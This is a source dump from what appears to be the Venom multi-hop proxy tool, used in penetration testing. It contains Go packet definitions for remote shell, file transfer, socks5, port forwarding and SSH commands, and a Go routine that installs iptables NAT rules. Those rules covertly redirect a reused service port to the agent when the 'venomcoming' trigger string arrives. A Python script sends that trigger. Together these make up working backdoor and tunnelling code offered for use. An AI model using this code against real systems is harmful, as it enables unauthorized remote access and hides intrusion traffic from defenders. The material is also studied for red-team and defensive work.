| 70 | // ResolveHeader 解析Packet数据包中PacketHeader字段 71 | func (packet *Packet) ResolveHeader(header *PacketHeader) { 72 | header.Separator = packet.Separator 73 | header.CmdType = packet.CmdType 74 | header.SrcHashID = packet.SrcHashID 75 | header.DstHashID = packet.DstHashID 76 | header.DataLen = packet.DataLen 77 | } 78 | 79 | func (packet *Packet) PackHeader(header PacketHeader) { 80 | packet.Separator = header.Separator 81 | packet.CmdType = header.CmdType 82 | packet.SrcHashID = header.SrcHashID 83 | packet.DstHashID = header.DstHashID 84 | packet.DataLen = header.DataLen 85 | } 86 | 87 | type PacketHeader struct { 88 | Separator string 89 | CmdType uint16 90 | SrcHashID [32]byte // 源节点ID 91 | DstHashID [32]byte // 目的节点ID 92 | DataLen uint64 93 | } 94 | 95 | // InitPacketCmd 初始化数据包,命令数据 96 | type InitPacketCmd struct { 97 | OsType uint32 // 系统类型 98 | IsAdmin uint16 // 是否为管理员节点 99 | HashID [32]byte 100 | } 101 | 102 | // InitPacketRet 初始化数据包,命令数据 103 | type InitPacketRet struct { 104 | OsType uint32 // 系统类型 105 | IsAdmin uint16 // 是否为管理员节点 106 | HashID [32]byte 107 | } 108 | 109 | type SyncPacket struct { 110 | NetworkMapLen uint64 111 | NetworkMap []byte 112 | } 113 | 114 | // UploadPacketCmd 115 | type UploadPacketCmd struct { 116 | PathLen uint32 // 目标路径长度 117 | Path []byte 118 | FileLen uint64 // 文件大小 119 | // File []byte 120 | } 121 | 122 | // UploadPacketRet 文件上传返回包 123 | type UploadPacketRet struct { 124 | Success uint16 // 操作是否成功, 1 or 0 125 | MsgLen uint32 // 返回的信息长度 126 | Msg []byte // 如果成功则为空, 否则为错误信息 127 | } 128 | 129 | // DownloadPacketCmd 文件下载命令 130 | type DownloadPacketCmd struct { 131 | PathLen uint32 // 目标路径长度 132 | Path []byte // 目标路径名 133 | StillDownload uint32 // 如果文件过大是否还有继续下载 134 | } 135 | 136 | // DownloadPacketRet 文件下载返回包 137 | type DownloadPacketRet struct { 138 | Success uint16 // 操作是否成功, 1 or 0 139 | MsgLen uint32 // 返回的信息长度 140 | Msg []byte // 如果成功则为空, 否则为错误信息 141 | FileLen uint64 // 文件大小 142 | // File []byte 143 | } 144 | 145 | type FileDataPacket struct { 146 | DataLen uint32 // 返回的信息长度 147 | Data []byte // 如果成功则为空, 否则为错误信息 148 | } 149 | 150 | type ListenPacketCmd struct { 151 | Port uint16 152 | } 153 | 154 | type ListenPacketRet struct { 155 | Success uint16 // 操作是否成功, 1 or 0 156 | MsgLen uint32 // 返回的信息长度 157 | Msg []byte // 如果成功则为空, 否则为错误信息 158 | } 159 | 160 | type ConnectPacketCmd struct { 161 | IP uint32 162 | Port uint16 163 | } 164 | 165 | type ConnectPacketRet struct { 166 | Success uint16 // 操作是否成功, 1 or 0 167 | MsgLen uint32 // 返回的信息长度 168 | Msg []byte // 如果成功则为空, 否则为错误信息 169 | } 170 | 171 | type ShellPacketCmd struct { 172 | Start uint16 // 启动shell 173 | CmdLen uint32 // 要执行的命令 174 | Cmd []byte // 执行命令的长度 175 | } 176 | 177 | type ShellPacketRet struct { 178 | Success uint16 // 操作是否成功, 1 or 0 179 | DataLen uint32 // 返回的信息长度 180 | Data []byte // 如果成功则为空, 否则为错误信息 181 | } 182 | 183 | type Socks5ControlPacketCmd struct { 184 | Start uint16 // 启动一个socks5连接/关闭这个socks5连接,针对一个TCP连接而言 185 | SessionID uint16 186 | } 187 | 188 | type Socks5ControlPacketRet struct { 189 | Success uint16 // 启动一个socks5连接/关闭这个socks5连接,针对一个TCP连接而言 190 | } 191 | 192 | type NetDataPacket struct { 193 | SessionID uint16 // session id用于标识该数据包属于哪一个TCP连接,因为可能存在并发访问的问题 194 | // 在对数据包按命令类型分流之后,还需要对其中的socks5数据包做tcp会话分流 195 | DataLen uint32 // 返回的信息长度 196 | Data []byte // 如果成功则为空, 否则为错误信息 197 | Close uint16 // 1表示连接关闭 198 | } 199 | 200 | type NetLForwardPacketCmd struct { 201 | Start uint16 202 | DstPort uint16 203 | SrcPort uint16 204 | LHost uint32 205 | } 206 | 207 | type NetLForwardPacketRet struct { 208 | Success uint16 209 | SessionID uint16 210 | SrcPort uint16 211 | LHost uint32 212 | } 213 | 214 | type NetRForwardPacketCmd struct { 215 | Start uint16 216 | SessionID uint16 217 | RHost uint32 218 | SrcPort uint16 219 | } 220 | 221 | type NetRForwardPacketRet struct { 222 | Success uint16 223 | } 224 | 225 | type SshConnectPacketCmd struct { 226 | SshServer uint32 // 服务端IP地址 227 | SshPort uint16 // ssh服务端口 228 | DstPort uint16 // 要连接的target node监听的端口 229 | SshUserLen uint32 230 | SshUser []byte // ssh用户名 231 | SshAuthMethod uint16 // password(1) / ssh key(2) 232 | SshAuthDataLen uint32 233 | SshAuthData []byte // ssh key or password 234 | } 235 | 236 | type SshConnectPacketRet struct { 237 | Success uint16 // 操作是否成功, 1 or 0 238 | MsgLen uint32 // 返回的信息长度 239 | Msg []byte // 如果成功则为空, 否则为错误信息 240 | } 241 | -------------------------------------------------------------------------------- /scripts/port_reuse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # a simple script to start/stop iptables port reuse. 5 | 6 | # example: 7 | # python port_reuse.py --start --rhost 192.168.1.2 --rport 80 8 | # python port_reuse.py --stop --rhost 192.168.1.2 --rport 80 9 | 10 | import socket 11 | import argparse 12 | import sys 13 | 14 | parser = argparse.ArgumentParser(description='start/stop iptables port reuse') 15 | parser.add_argument('--start', help='start port reusing', action='store_true') 16 | parser.add_argument('--stop', help='stop port reusing', action='store_true') 17 | parser.add_argument('--rhost', help='remote host', dest='ip') 18 | parser.add_argument('--rport', help='remote port', dest='port') 19 | 20 | START_PORT_REUSE = "venomcoming" 21 | STOP_PORT_REUSE = "venomleaving" 22 | 23 | options = parser.parse_args() 24 | 25 | data = "" 26 | 27 | if options.start: 28 | data = START_PORT_REUSE 29 | elif options.stop: 30 | data = STOP_PORT_REUSE 31 | else: 32 | parser.print_help() 33 | sys.exit(0) 34 | 35 | try: 36 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 37 | s.settimeout(2) 38 | s.connect((options.ip, int(options.port))) 39 | s.send(data) 40 | except: 41 | print "[-]Connect to target host error." 42 | 43 | try: 44 | s.recv(1024) 45 | except: 46 | pass 47 | 48 | s.close() 49 | 50 | print "[+]Done!" 51 | -------------------------------------------------------------------------------- /utils/kmp.go: -------------------------------------------------------------------------------- 1 | // Modified https://github.com/paddie/gokmp 2 | package utils 3 | 4 | import ( 5 | "errors" 6 | "fmt" 7 | ) 8 | 9 | type KMP struct { 10 | Pattern string 11 | Prefix []int 12 | Size int 13 | } 14 | 15 | // For debugging 16 | func (kmp *KMP) String() string { 17 | return fmt.Sprintf("pattern: %v\nprefix: %v", kmp.Pattern, kmp.Prefix) 18 | } 19 | 20 | // compile new prefix-array given argument 21 | func NewKMP(pattern string) (*KMP, error) { 22 | prefix, err := computePrefix(pattern) 23 | if err != nil { 24 | return nil, err 25 | } 26 | return &KMP{ 27 | Pattern: pattern, 28 | Prefix: prefix, 29 | Size: len(pattern)}, 30 | nil 31 | } 32 | 33 | // returns an array containing indexes of matches 34 | // - error if pattern argument is less than 1 char 35 | func computePrefix(pattern string) ([]int, error) { 36 | // sanity check 37 | len_p := len(pattern) 38 | if len_p < 2 { 39 | if len_p == 0 { 40 | return nil, errors.New("'pattern' must contain at least one character") 41 | } 42 | return []int{-1}, nil 43 | } 44 | t := make([]int, len_p) 45 | t[0], t[1] = -1, 0 46 | 47 | pos, count := 2, 0 48 | for pos < len_p { 49 | 50 | if pattern[pos-1] == pattern[count] { 51 | count++ 52 | t[pos] = count 53 | pos++ 54 | } else { 55 | if count > 0 { 56 | count = t[count] 57 | } else { 58 | t[pos] = 0 59 | pos++ 60 | } 61 | } 62 | } 63 | return t, nil 64 | } 65 | -------------------------------------------------------------------------------- /utils/reuse_port.go: -------------------------------------------------------------------------------- 1 | // +build linux 2 | // +build amd64 386 3 | 4 | package utils 5 | 6 | import ( 7 | "errors" 8 | "fmt" 9 | "log" 10 | "os" 11 | "os/exec" 12 | "os/signal" 13 | "strings" 14 | "syscall" 15 | ) 16 | 17 | // reference: https://www.freebuf.com/articles/network/137683.html 18 | 19 | // sudo iptables -t nat -A PREROUTING -p tcp --dst 192.168.204.134 --dport 80 -j REDIRECT --to-port 9999 20 | // sudo iptables -t nat -D PREROUTING -p tcp --dst 192.168.204.134 --dport 80 -j REDIRECT --to-port 9999 21 | // sudo iptables -L -t nat 22 | 23 | // iptables -t nat -N VENOM 24 | // iptables -t nat -A VENOM -p tcp -j REDIRECT --to-port 8080 25 | // iptables -A INPUT -p tcp -m string --string 'venomcoming' --algo bm -m recent --set --name venom --rsource -j ACCEPT 26 | // iptables -A INPUT -p tcp -m string --string 'venomleaving' --algo bm -m recent --name venom --remove -j ACCEPT 27 | // iptables -t nat -A PREROUTING -p tcp --dst 192.168.1.18 --dport 80 --syn -m recent --rcheck --seconds 3600 --name venom --rsource -j VENOM 28 | 29 | // iptables -t nat -D PREROUTING -p tcp --dst 192.168.1.18 --dport 80 --syn -m recent --rcheck --seconds 3600 --name venom --rsource -j VENOM 30 | // iptables -D INPUT -p tcp -m string --string 'venomleaving' --algo bm -m recent --name venom --remove -j ACCEPT 31 | // iptables -D INPUT -p tcp -m string --string 'venomcoming' --algo bm -m recent --set --name venom --rsource -j ACCEPT 32 | // iptables -t nat -F VENOM 33 | // iptables -t nat -X VENOM 34 | 35 | const CHAIN_NAME = "VENOM" 36 | const START_FORWARDING = "venomcoming" 37 | const STOP_FORWARDING = "venomleaving" 38 | 39 | var INVALID_IP_ADDR = errors.New("invalid ip address.") 40 | var CMD_EXEC_FAIDED = errors.New("iptables command exec failed.") 41 | 42 | func DeletePortReuseRules(localPort uint16, reusedPort uint16) error { 43 | 44 | var cmds []string 45 | cmds = append(cmds, fmt.Sprintf("iptables -t nat -D PREROUTING -p tcp --dport %d --syn -m recent --rcheck --seconds 3600 --name %s --rsource -j %s", reusedPort, strings.ToLower(CHAIN_NAME), CHAIN_NAME)) 46 | cmds = append(cmds, fmt.Sprintf("iptables -D INPUT -p tcp -m string --string %s --algo bm -m recent --name %s --remove -j ACCEPT", STOP_FORWARDING, strings.ToLower(CHAIN_NAME))) 47 | cmds = append(cmds, fmt.Sprintf("iptables -D INPUT -p tcp -m string --string %s --algo bm -m recent --set --name %s --rsource -j ACCEPT", START_FORWARDING, strings.ToLower(CHAIN_NAME))) 48 | cmds = append(cmds, fmt.Sprintf("iptables -t nat -F %s", CHAIN_NAME)) 49 | cmds = append(cmds, fmt.Sprintf("iptables -t nat -X %s", CHAIN_NAME)) 50 | 51 | for _, each := range cmds { 52 | cmd := strings.Split(each, " ") 53 | err := exec.Command(cmd[0], cmd[1:]...).Run() 54 | if err != nil { 55 | log.Println("[!]Use '" + each + "' to delete iptables rules.") 56 | } 57 | } 58 | 59 | fmt.Println("[+]Delete iptables port reuse rules.") 60 | return nil 61 | } 62 | 63 | func SetPortReuseRules(localPort uint16, reusedPort uint16) error { 64 | 65 | sigs := make(chan os.Signal, 1) 66 | 67 | // 处理不了sigkill, 所以如果程序被kill -9杀掉,需要手动删除iptables规则 68 | signal.Notify(sigs, syscall.SIGINT, syscall.SIGTERM) 69 | go func() { 70 | for { 71 | <-sigs 72 | DeletePortReuseRules(localPort, reusedPort) 73 | os.Exit(0) 74 | } 75 | }() 76 | 77 | var cmds []string 78 | cmds = append(cmds, fmt.Sprintf("iptables -t nat -N %s", CHAIN_NAME)) 79 | cmds = append(cmds, fmt.Sprintf("iptables -t nat -A %s -p tcp -j REDIRECT --to-port %d", CHAIN_NAME, localPort)) 80 | cmds = append(cmds, fmt.Sprintf("iptables -A INPUT -p tcp -m string --string %s --algo bm -m recent --set --name %s --rsource -j ACCEPT", START_FORWARDING, strings.ToLower(CHAIN_NAME))) 81 | cmds = append(cmds, fmt.Sprintf("iptables -A INPUT -p tcp -m string --string %s --algo bm -m recent --name %s --remove -j ACCEPT", STOP_FORWARDING, strings.ToLower(CHAIN_NAME))) 82 | cmds = append(cmds, fmt.Sprintf("iptables -t nat -A PREROUTING -p tcp --dport %d --syn -m recent --rcheck --seconds 3600 --name %s --rsource -j %s", reusedPort, strings.ToLower(CHAIN_NAME), CHAIN_NAME)) 83 | 84 | for _, each := range cmds { 85 | // fmt.Println(each) 86 | cmd := strings.Split(each, " ") 87 | err := exec.Command(cmd[0], cmd[1:]...).Run() 88 | if err != nil { 89 | return err 90 | } 91 | } 92 | 93 | return nil 94 | } 95 | -------------------------------------------------------------------------------- /utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "encoding/binary" 5 | "encoding/hex" 6 | "errors" 7 | "fmt" 8 | "log" 9 | "math/rand" 10 | "net" 11 | "os" 12 | "reflect" 13 | "runtime" 14 | "time" 15 | 16 | "github.com/Dliv3/Venom/crypto" 17 | ) 18 | 19 | /* -------------------------- encoding/decoding ------------------------------ */ 20 | 21 | // UUIDToArray32 UUID to 32byte arrary 22 | func UUIDToArray32(hashID string) [32]byte { 23 | currnetHashIDSlice, _ := hex.DecodeString(hashID) 24 | return SliceTo32ByteArray(currnetHashIDSlice) 25 | } 26 | 27 | // Array32ToUUID 32byte array to UUID 28 | func Array32ToUUID(bytes [32]byte) string { 29 | return fmt.Sprintf("%x", bytes) 30 | } 31 | 32 | /* ----------------------- Random number --------------------------- */ 33 | 34 | // NewUUID New Universally Unique Identifier 35 | // TODO use https://github.com/satori/go.uuid to generate UUID 36 | func NewUUID() string { 37 | return crypto.Sha256(time.Now().Format(time.ANSIC) + GetRandomString(5)) 38 | } 39 | 40 | // GetRandomString generate a random string 41 | func GetRandomString(length int) string { 42 | str := "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" 43 | bytes := []byte(str) 44 | result := []byte{} 45 | r := rand.New(rand.NewSource(time.Now().UnixNano())) 46 | for i := 0; i < length; i++ { 47 | result = append(result, bytes[r.Intn(len(bytes))]) 48 | } 49 | return string(result) 50 | } 51 | 52 | /* ----------------------- Type conversion --------------------------- */ 53 | 54 | func Uint32ToBytes(i uint32) []byte { 55 | var buf = make([]byte, 4) 56 | binary.BigEndian.PutUint32(buf, uint32(i)) 57 | return buf 58 | } 59 | 60 | func BytesToUint32(buf []byte) uint32 { 61 | return uint32(binary.BigEndian.Uint32(buf)) 62 | } 63 | 64 | func Uint16ToBytes(i uint16) []byte { 65 | var buf = make([]byte, 2) 66 | binary.BigEndian.PutUint16(buf, uint16(i)) 67 | return buf 68 | } 69 | 70 | func BytesToUint16(buf []byte) uint16 { 71 | return uint16(binary.BigEndian.Uint16(buf)) 72 | } 73 | 74 | func Uint64ToBytes(i uint64) []byte { 75 | var buf = make([]byte, 8) 76 | binary.BigEndian.PutUint64(buf, uint64(i)) 77 | return buf 78 | } 79 | 80 | func BytesToUint64(buf []byte) uint64 { 81 | return uint64(binary.BigEndian.Uint64(buf)) 82 | } 83 | 84 | func SliceTo32ByteArray(buf []byte) [32]byte { 85 | var result [32]byte 86 | for i := 0; i < 32; i++ { 87 | result[i] = buf[i] 88 | } 89 | return result 90 | } 91 | 92 | func IpToUint32(ip net.IP) uint32 { 93 | if len(ip) == 16 { 94 | return binary.BigEndian.Uint32(ip[12:16]) 95 | } 96 | return binary.BigEndian.Uint32(ip) 97 | } 98 | 99 | func Uint32ToIp(nn uint32) net.IP { 100 | ip := make(net.IP, 4) 101 | binary.BigEndian.PutUint32(ip, nn) 102 | return ip 103 | } 104 | 105 | /* ----------------------- system info --------------------------- */ 106 | func GetSystemType() (osType uint32) { 107 | var os = runtime.GOOS 108 | switch os { 109 | case "darwin": 110 | osType = 0x00 111 | case "windows": 112 | osType = 0x01 113 | case "linux": 114 | osType = 0x02 115 | default: 116 | // unknown 117 | osType = 0xff 118 | } 119 | return 120 | } 121 | 122 | /* ------------------------ file operation ---------------------------- */ 123 | 124 | // FileExists Check if the file exists 125 | func FileExists(filename string) bool { 126 | var exist = true 127 | if _, err := os.Stat(filename); os.IsNotExist(err) { 128 | exist = false 129 | } 130 | return exist 131 | } 132 | 133 | // IsDir check if path is dir 134 | func IsDir(path string) bool { 135 | s, err := os.Stat(path) 136 | if err != nil { 137 | return false 138 | } 139 | return s.IsDir() 140 | } 141 | 142 | // GetFileSize Get the size of a single file 143 | func GetFileSize(path string) int64 { 144 | fileInfo, err := os.Stat(path) 145 | if err != nil { 146 | panic(err) 147 | } 148 | fileSize := fileInfo.Size() //获取size 149 | return fileSize 150 | } 151 | 152 | // GetFileSizeDescription 10.00G / 100.00M 153 | func GetFileSizeDescription(fileSize uint64) string { 154 | fileSizeFloat := float64(fileSize) 155 | const K = 1024 * 1.0 156 | const M = K * 1024 157 | const G = M * 1024 158 | if fileSizeFloat >= G { 159 | return fmt.Sprintf("%0.2fG", fileSizeFloat/G) 160 | } 161 | if fileSizeFloat >= M { 162 | return fmt.Sprintf("%0.2fM", fileSizeFloat/M) 163 | } 164 | return fmt.Sprintf("%0.2fK", fileSizeFloat/K) 165 | } 166 | 167 | /* -------------- Calculate structure size ----------------- */ 168 | func PacketSize(packet interface{}) (uint64, error) { 169 | 170 | var size uint64 171 | 172 | size = 0 173 | 174 | t := reflect.TypeOf(packet) 175 | v := reflect.ValueOf(packet) 176 | 177 | if k := t.Kind(); k != reflect.Struct { 178 | return 0, errors.New("Param is Not Struct") 179 | } 180 | 181 | count := t.NumField() 182 | for i := 0; i < count; i++ { 183 | val := v.Field(i).Interface() 184 | 185 | // type switch 186 | switch value := val.(type) { 187 | case uint16: 188 | size += 2 189 | case uint32: 190 | size += 4 191 | case uint64: 192 | size += 8 193 | case string: 194 | size += uint64(len(value)) 195 | case []byte: 196 | size += uint64(len(value)) 197 | case [2]byte: 198 | size += uint64(len(value)) 199 | case [4]byte: 200 | size += uint64(len(value)) 201 | case [32]byte: 202 | size += uint64(len(value)) 203 | default: 204 | log.Fatalln("[-]PacketSize error: type unsupport") 205 | return 0, errors.New("Type unsupport") 206 | } 207 | } 208 | return size, nil 209 | } 210 | 211 | /* ------------------- slice deduplication ---------------------*/ 212 | func RemoveDuplicateElement(addrs []string) []string { 213 | result := make([]string, 0, len(addrs)) 214 | temp := map[string]struct{}{} 215 | for _, item := range addrs { 216 | if _, ok := temp[item]; !ok { 217 | temp[item] = struct{}{} 218 | result = append(result, item) 219 | } 220 | } 221 | return result 222 | } 223 | 224 | /* --------------------- handling windows \r ------------------------------*/ 225 | func HandleWindowsCR() { 226 | if runtime.GOOS == "windows" { 227 | var noUse string 228 | fmt.Scanf("%s", &noUse) 229 | // fmt.Println("windows :", []byte(noUse)) 230 | } 231 | } 232 | --------------------------------------------------------------------------------